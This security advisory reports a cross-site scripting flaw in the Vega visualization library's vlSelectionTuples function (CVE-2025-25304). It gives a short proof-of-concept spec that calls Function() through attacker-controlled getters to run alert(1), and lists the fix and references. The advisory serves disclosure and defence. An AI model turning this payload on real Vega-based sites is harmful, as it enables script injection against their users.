Vega allows Cross-site Scripting via the vlSelectionTuples function
### Summary The `vlSelectionTuples` function can be used to call JavaScript functions, leading to XSS. ### Details [`vlSelectionTuples`](https://github.com/vega/vega/blob/b45cf431cd6c0d0c0e1567f087f9b3b55bc236fa/packages/vega-selections/src/selectionTuples.js#L14) calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument. Example call: `vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})` This can be used to call `Function()` with arbitrary JavaScript and the resulting function can be called with `vlSelectionTuples` or using a type coercion to call `toString` or `valueOf`. ### PoC ``` {"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]} ```
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Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-25304US | — | — | ||
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to version 5.26.0 of vega and 5.4.2 of vega-selecti… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/vega/vegaPACKAGE
- https://github.com/vega/vega/blob/b45cf431cd6c0d0c0e1567f087f9b3b55bc236fa/packages/vega-selections/src/selectionTuples.js#L14WEB
- https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411eWEB
- https://github.com/vega/vega/security/advisories/GHSA-mp7w-mhcv-673jWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-25304ADVISORY
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